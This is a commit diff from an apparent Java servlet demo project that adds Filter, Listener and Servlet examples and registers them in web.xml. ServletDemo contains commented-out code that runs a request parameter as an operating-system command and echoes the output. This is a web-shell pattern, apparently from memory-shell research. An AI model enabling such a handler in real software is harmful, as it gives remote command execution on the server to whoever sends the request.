update some demo

src/Demo5.java → src/me/mole/filter/FilterDemo.java

@@ -1,22 +1,25 @@
+package me.mole.filter;
+
 import javax.servlet.*;
 import java.io.IOException;
 
 //自定义Filter示例
-public class Demo5 implements Filter {
+public class FilterDemo implements Filter {
 
     @Override
     public void init(FilterConfig filterConfig) throws ServletException {
-        System.out.println("Demo5 Filter init...");
+        System.out.println("me.mole.filter.Demo5 Filter init...");
     }
 
     @Override
     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
             throws IOException, ServletException {
-        System.out.println("Demo5 Filter doFilter...");
+        System.out.println("me.mole.filter.Demo5 Filter doFilter...");
         filterChain.doFilter(servletRequest, servletResponse);
     }
 
     @Override
     public void destroy() {
+        System.out.println("me.mole.filter.Demo5 Filter destroy...");
     }
 }

src/me/mole/listener/ListenerDemo2.java

@@ -0,0 +1,32 @@
+package me.mole.listener;
+
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletResponse;
+
+public class ListenerDemo2 implements ServletRequestListener {
+    private HttpServletResponse response;
+
+    /**
+     * 如果按照正常的注册流程去注册的话，
+     *   自定义的Listener需要有无参构造方法.
+     *   否则tomcat启动会报错.
+     */
+    public ListenerDemo2() {
+
+    }
+
+    public ListenerDemo2(HttpServletResponse response) {
+        this.response = response;
+    }
+
+    @Override
+    public void requestDestroyed(ServletRequestEvent sret) {
+        System.out.println("ListenerDemo requestDestroyed");
+    }
+
+    @Override
+    public void requestInitialized(ServletRequestEvent sret) {
+        System.out.println("ListenerDemo requestInitialized");
+    }
+}

src/me/mole/servlet/ServletDemo.java

@@ -0,0 +1,49 @@
+package me.mole.servlet;
+
+import javax.servlet.GenericServlet;
+import javax.servlet.Servlet;
+import javax.servlet.ServletException;
+import javax.servlet.ServletOutputStream;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+
+//自定义Servlet示例
+public class ServletDemo extends HttpServlet {
+
+    @Override
+    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        try {
+            System.out.println("me.mole.servlet.ServletDemo doGet...");
+//            ServletOutputStream out = resp.getOutputStream();
+//            String cmds = req.getParameter("servletinjt");
+//            if (cmds != null) {
+//                InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream();
+//                StringBuilder sb = new StringBuilder();
+//                BufferedReader br = new BufferedReader(new InputStreamReader(in));
+//                String line = null;
+//                while((line = br.readLine()) != null) {
+//                    sb.append(line).append("\n");
+//                }
+//                if (sb.length() > 0) {
+//                    out.print("<pre>");
+//                    out.write(sb.toString().getBytes());
+//                    out.print("</pre>");
+//                    out.flush();
+//                    out.close();
+//                }
+//            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        doGet(req, resp);
+    }
+}

web/WEB-INF/web.xml

@@ -3,23 +3,26 @@
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
          version="4.0">
-
-<!--    <filter>-->
-<!--        <filter-name>Demo5</filter-name>-->
-<!--        <filter-class>Demo5</filter-class>-->
-<!--    </filter>-->
-<!--    <filter-mapping>-->
-<!--        <filter-name>Demo5</filter-name>-->
-<!--        <url-pattern>/*</url-pattern>-->
-<!--    </filter-mapping>-->
 
-<!--<servlet>-->
-<!--    <servlet-name>Demo6</servlet-name>-->
-<!--    <servlet-class>me.mole.servlet.Demo6</servlet-class>-->
-<!--</servlet>-->
-<!--<servlet-mapping>-->
-<!--    <servlet-name>Demo6</servlet-name>-->
-<!--    <url-pattern>/servletmem/*</url-pattern>-->
-<!--</servlet-mapping>-->
+    <filter>
+        <filter-name>filterdemo</filter-name>
+        <filter-class>me.mole.filter.FilterDemo</filter-class>
+    </filter>
+    <filter-mapping>
+        <filter-name>filterdemo</filter-name>
+        <url-pattern>/*</url-pattern>
+    </filter-mapping>
 
+    <servlet>
+        <servlet-name>servletdemo</servlet-name>
+        <servlet-class>me.mole.servlet.ServletDemo</servlet-class>
+    </servlet>
+    <servlet-mapping>
+        <servlet-name>servletdemo</servlet-name>
+        <url-pattern>/servlet/servletdemo</url-pattern>
+    </servlet-mapping>
+
+    <listener>
+        <listener-class>me.mole.listener.ListenerDemo2</listener-class>
+    </listener>
 </web-app>

web/index.jsp

@@ -11,6 +11,6 @@
     <title>$Title$</title>
   </head>
   <body>
-  $END$
+  hello
   </body>
 </html>